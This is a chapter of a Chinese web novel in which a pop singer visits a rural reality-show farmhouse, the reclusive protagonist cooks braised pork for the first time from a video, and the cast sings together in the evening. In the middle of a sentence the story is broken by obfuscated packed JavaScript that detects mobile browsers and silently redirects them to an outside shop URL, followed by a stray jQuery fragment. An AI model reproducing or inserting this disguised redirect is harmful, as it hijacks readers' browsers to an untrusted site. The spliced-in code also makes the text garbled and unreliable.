车停在院门口。
后门打开，先下来一只白球鞋，然后是牛仔裤、白色T恤、墨镜，最后露出一张巴掌大的脸——没化妆，嘴唇有点干，头发随便扎了个丸子头。
"宋可！"方驰第一个认出来，嘴比脑子快，"你不是——"
"嘘——"宋可把墨镜往下扒了一点，冲他使了个眼色，"我经纪人说要保密到最后一秒。"
"导演都在对讲机里报你名字了。"
"那我不管，我墨镜都戴了。"
方驰转头跟众人解释："我们前年一起录过一档节目，她那时候就这德行。"
"什么叫这德行？"宋可拍了他一巴掌，把墨镜摘了环顾院子。目光扫过石磨、槐树、灶屋、菜地，最后落在陆清槐身上。
"你就是那个种地的？"
"嗯。"
"方驰私信跟我说你做的菜好吃到他想常住。"
方驰在后面疯狂摇头，用口型说"我没有"。
陆清槐看了方驰一眼："他昨天把火搭塌了三回。"
"我听见了！"方驰抗议。
宋可笑了，露出一颗小虎牙。她把行李箱往地上一放，冲院里鞠了一躬："大家好，我是宋可，来蹭饭的。"
"别站着了，"周建国迎上去拎箱子，"先吃口早饭，馒头刚出锅。"
宋可吃饭的时候把半个馒头掰成四块泡进鱼汤里，吃得头也不抬。沈眉给她夹了块鱼肚子，她嚼了两口，眼睛亮了。
"这鱼鲜的，是溪里的？"
"今早捞的。"陆清槐说。
"你捞的？"
"嗯。"
"那红烧肉也是你做？"
"没做过，第一次。"
宋可筷子停了一下，看了看他的脸色，确认他不是在谦虚。
"第一次就给客人做？"
"你点的。"
她愣了一下，然后笑到趴在桌上："行，那我等着。"
日头爬到槐树顶的时候，灶屋开工了。
陆清槐把五花肉放在案板上，方方正正一块，皮上还有毛。他拔了两根，拔不干净，找了个镊子夹。陶陶搬了小板凳坐在灶屋门口看，像蹲守春晚现场。
他掏出手机搜了一下"红烧肉家常做法"，点进第一条视频。一个穿围裙的大哥在灶台前忙活，语速飞快："五花肉切两厘米见方，冷水下锅加料酒姜片焯水，撇沫捞出。锅里少许油，加冰糖小火炒糖色——注意啊，大泡转小泡、颜色枣红就下肉，晚了发苦——"
他把手机靠在酱油瓶旁边，开始切肉。
"清槐哥哥，要我帮忙吗？"陶陶问。
"帮我看着火，别让方驰碰。"
"我听见了！"方驰从院墙上探出头——他正在摘黄瓜，"我今天不碰火！我负责摘菜！"
"你黄瓜摘成什么样了？"
"……有点弯。"
"弯的也行，藤别扯了。"
肉切好，冷水下锅焯。水开后撇掉浮沫，捞出来沥干。他往锅里倒了点油，放冰糖，小火慢慢搅。糖从颗粒变成液体，从透明变成浅黄——他低头看了一眼手机，再抬头时颜色已经深了。
"坏了。"
糖色发黑，冒着青烟，一股焦苦味。他赶紧把锅端离火口，盯着那块焦黑的糖看了两秒。
"怎么了？"沈眉正在旁边择菜，探过头。
"炒过了。"
"倒了重来？"
"嗯。"
他把锅洗了，重新倒油放糖。这次眼睛没离开锅，冰糖化开，浅黄，金黄——他拿着手机比对了一下屏幕上的颜色——枣红。下肉。
"哗啦"一声，糖色裹上肉块，滋滋作响，整块整块的五花肉在锅里翻成琥珀色。
"好香——"陶陶吸了吸鼻子。
"别凑过来，油溅。"他加了姜片、八角、桂皮，倒酱油和料酒，加热水没过肉，盖上锅盖。"大火烧开转小火，炖四十分钟。"
"你怎么记得住？"陶陶瞪大眼。
"视频里说了。"
"你不是看了一遍吗？"
"第一遍炒苦了，记住了。"
他转身看沈眉："糖醋排骨你做？"
"我哪会，"沈眉笑了，"你前天不是看了教程吗？教我。"
他把手机递给她："糖醋排骨那条，步骤都一样，焯水、炒糖色、放醋放酱油、收汁。你刚才看我炒糖色了吧？"
"看了。"
"醋最后放，放早了挥发。"
"行。"沈眉接过手机，又问，"那鱼呢？"
"溪鱼小，红烧吧，周老师早上已经杀好了。"
"不是清蒸鲈鱼吗？"陶陶小声问。
"没有鲈鱼，"陆清槐把三条小鱼翻了个面，"溪鱼红烧也好吃。"
炖肉的功夫，宋可在院子里转悠。
她蹲在菜地边上看陶陶的菠菜——芽已经直起来了，嫩绿地竖着两片小叶子。沈眉的小白菜整整齐齐一排，江苓的稀稀拉拉但也出了，方驰的萝卜地还是光秃秃。
"这谁的地？"宋可指着方驰那块。
"我的，"方驰端着黄瓜过来，"萝卜还在睡懒觉。"
"你沟画得跟心电图似的，它找不着路。"陆清槐从灶屋探出头。
宋可笑出声："方驰说你话很少啊。"
"他昨天坐溪里的时候话也不少。"
方驰："……能不能让这页翻篇？"
井边，周建国正在收拾鱼。三条小鱼排成一排，他刮鳞剖肚一气呵成。宋可靠过去看，退了两步站在上风处——上回方驰站顺风处溅了一脸鱼鳞。
"周老师您还会收拾鱼？"
"年轻时插过队，什么没干过。"周建国头也不抬，"溪鱼刺多，红烧比清蒸强，小陆说得对。"
四十分钟后，灶屋。
陆清槐揭开锅盖，热气扑了一脸。他拿筷子戳了一块肉——皮软了，但不够烂。盖上盖，又炖了十分钟。
再揭盖，汤汁收了一半，肉块红亮油润，颤巍巍的。他拿了个干净小勺舀了点汤汁尝了尝，眉头动了一下。
"怎么了？"沈眉在旁边做糖醋排骨，凑过来。
"甜了。"
"糖放多了？"
"冰糖炒色放了一把，后面又加了勺糖。"他想了想，加了小半勺盐，挤了几滴酱油，搅了搅。换了个勺再尝，"行了。"
红烧肉盛进粗瓷碗。肉皮深红，肥肉颤而不腻，汤汁浓稠得挂在肉上。沈眉的糖醋排骨也出锅了，色泽差了点，但闻着对味。周建国把三条小鱼红烧了，撒了葱花，整条整条码在盘子里。
灶屋门口不知道什么时候围了一圈人。
"让一让让一让，"周建国端着鱼往石磨走，"都别堵着门。"
菜上齐了。红烧肉、红烧溪鱼、糖醋排骨、清炒野菜、凉拌黄瓜、水萝卜蘸酱、馒头。
宋可盯着红烧肉看了三秒，夹了一块。
肉皮在筷子上晃。她咬下去，皮肉分离，肥的部分入口即化，瘦的不柴，酱汁咸甜刚好，带一点八角的香气。她嚼了两下，没说话，又夹了一块。
"怎么样？"方驰比她还紧张。
"……我后悔了。"宋可说。
"啊？"
"我应该只点红烧肉的。"她扒了口米饭，"这样就能一个人吃一碗。"
方驰抢了一块，嚼完瞪大眼睛："房东哥你不是第一次做吗？"
"嗯。"
"第一次做成这样你让别人怎么活？"
"教程说得细，照着做就行。"
"那我照教程做为什么火搭了三回？"
"你搭火的时间比看教程长。"
全桌笑了。方驰张了张嘴，发现自己居然无法反驳。
周建国夹了块鱼，又夹了块肉，嚼完慢条斯理地说："小陆你这手艺，开个饭馆子准火。"
"不开。"
"为什么？"
"种菜够忙了。"
宋可一边吃一边刷手机，忽然"咦"了一声："你微博是不是叫陆清槐？"
"嗯。"
"我刷到你了。'菜。种了。'我还以为是行为艺术。"
"就是种了菜。"
"你粉丝三千多了，"她划了两下屏幕，"评论区都在问你什么时候发第二条。"
陆清槐想了想，掏出手机对着石磨上的菜拍了张照片，低头打字。
方驰伸脖子看："你发什么？"
他把手机屏幕转向众人。
照片上红烧肉占了C位，旁边露出半截红烧鱼和一只抢镜的手——方驰的。配文四个字：
"肉。炖了。"
宋可差点把饭喷出来。
"你这个格式是要连载吗？"她笑到拍桌子，"下一条是不是'鱼。烧了。'？"
"可以。"
他低头又打了一行，还真发了第二条：
"鱼。烧了。"
方驰当场笑到从石磨上滑下去。
吃完饭，宋可主动要求洗碗。江苓陪她一起，两个人在灶屋叮叮当当地洗，宋可忽然问："江苓姐，他一直这样吗？"
"哪样？"
"就是……什么都会，又什么都不当回事。"
江苓想了想："他不是不当回事，他是真觉得没什么。种菜、抓鱼、做饭，在他眼里跟呼吸一样。"
"他到底什么来头？"
"不知道，"江苓擦着碗，"没人知道。问他他就说'住山里的'。"
宋可往院子里看了一眼。陆清槐正在帮沈眉收拾石磨，方驰在旁边递碗，递着递着自己拿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916296|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
块馒头啃。
"他长得不像种菜的。"
"他就是种菜的。"
下午，宋可提了个要求："我能去菜地里看看吗？"
"行，"陆清槐正在绑番茄蔓，"别踩陶陶的菠菜。"
"我像那种踩菜地的人吗？"
"方驰第一天踩了三棵。"
她蹲在番茄架旁边看他绑蔓。他用稻草茎把番茄藤松松地系在竹竿上，动作不快但准，每根茎都留出了生长的空间。
"为什么要绑？"
"藤挂不住果，不绑会断。"
"这个我知道，"宋可说，"我问的是——你为什么每根茎留的松紧不一样？"
他手停了一下，看了她一眼。
"粗的茎长得快，留松一点；细的慢，扎紧些。"
"这都能看出来？"
"摸一下就知道了。"
宋可伸手摸了摸番茄茎，又摸了摸另一根，什么都没摸出来。她沉默了两秒，换了个话题："沈眉姐说你会弹吉他？"
"会一点。"
"晚上一起唱个歌？我带了首新歌来，还没公开过。"她顿了一下，"对了苏导，这首歌能剪进正片吧？我经纪人说让我多拍点花絮。"
"唱你的，"苏晚的声音从监视器后面飘过来，"版权没问题就能用。"
"没问题，我自己的歌。"
陆清槐把最后一根蔓绑好，拍了拍手上的草屑。
"行，晚上唱。"
傍晚，院子里亮了灯。
沈眉把吉他抱出来，宋可调了调音，试了两个和弦。方驰不知道从哪摸出个口琴——"我带的！大学时候玩过！"——周建国搬了把竹椅坐边上，陶陶抱着橘座，江苓端了五杯茶。陈伯下午溜达过来送了一把葱，看见一院子人，放下葱说了句"番茄该打侧芽了"就走了。
橘座在陶陶怀里打了个哈欠，伸了个懒腰，跳到陆清槐腿上趴下了。
"新歌叫什么？"沈眉问。
"《山那边》，"宋可有点不好意思，"写的就是来这种地方的感觉。"
她拨了第一个和弦。
旋律很简单，民谣底子，吉他分解和弦像水一样流。她的声音比唱片里更厚一点，带一点沙沙的质感，唱到副歌的时候方驰的口琴试着加进来——跟歪了，宋可笑到唱不下去。
"方驰你别吹了，"周建国说，"你一吹来风了。"
"我这叫即兴！"
"你这叫添乱。"
一首唱完，院子安静了两秒。
"好听。"陶陶第一个鼓掌，橘座被她吓得从陆清槐腿上跳走了。
"副歌那段转调有点意思。"陆清槐忽然说。
宋可愣了："你懂编曲？"
"不懂。和弦换了，听起来比前面亮。"
"……你耳朵也太灵了，我副歌从C调转G调，大部分人听不出来。"
"他上次听出我吉他五弦差不到半个音。"沈眉说。
宋可看了他一眼，没再追问，把吉他递过去："你来一首？"
他接过吉他，想了想，拨了几个和弦——不是精灵曲，是一首他在手机上听了两遍的民谣，C调，简单。他弹得不算熟，有两个和弦切换慢了半拍，但音色干净，节奏稳。
弹到一半，方驰的口琴又试着跟进来，这回居然跟上了几个小节，然后又跑了。宋可笑到趴在吉他上。
人散了以后，院子里安静下来。
陆清槐坐在槐树下，手机屏幕亮着。他没刷微博，打开了吉他教学视频——昨天看了两分钟就退出来了，今天接着看。视频里老师在讲F和弦的切换技巧，他跟着在膝盖上按了按，指尖找位置。
宋可从客房出来倒水，看见他一个人坐在黑里，手机光照在脸上。
"还没睡？"
"看会儿。"
"看什么？"
"吉他。"
她走过去看了一眼屏幕："F大横按？这个新手杀手，我当初卡了三个月。"
"今天试了一下，能响。"
"一次就响？"
"嗯。"
宋可沉默了三秒。"你真是……"她找了半天词，最后说，"挺气人的。"
他没听懂这是夸还是损，抬头看了她一眼。月光从槐树叶子缝里漏下来，在他脸上切出明暗。她移开目光，端起水杯。
"明天我教你弹《山那边》的和弦吧，不难。"
"行。"
"说定了。"
她回屋了。陆清槐低头继续看视频，看了五分钟按了暂停。他低头看了看自己的指尖——红印比昨天深了点，但不疼了。
明天再练。
墙头上，橘座蹲着，尾巴一甩一甩，盯着菜地的方向。陶陶的菠菜地里，有什么东西在月光下悄悄往上长。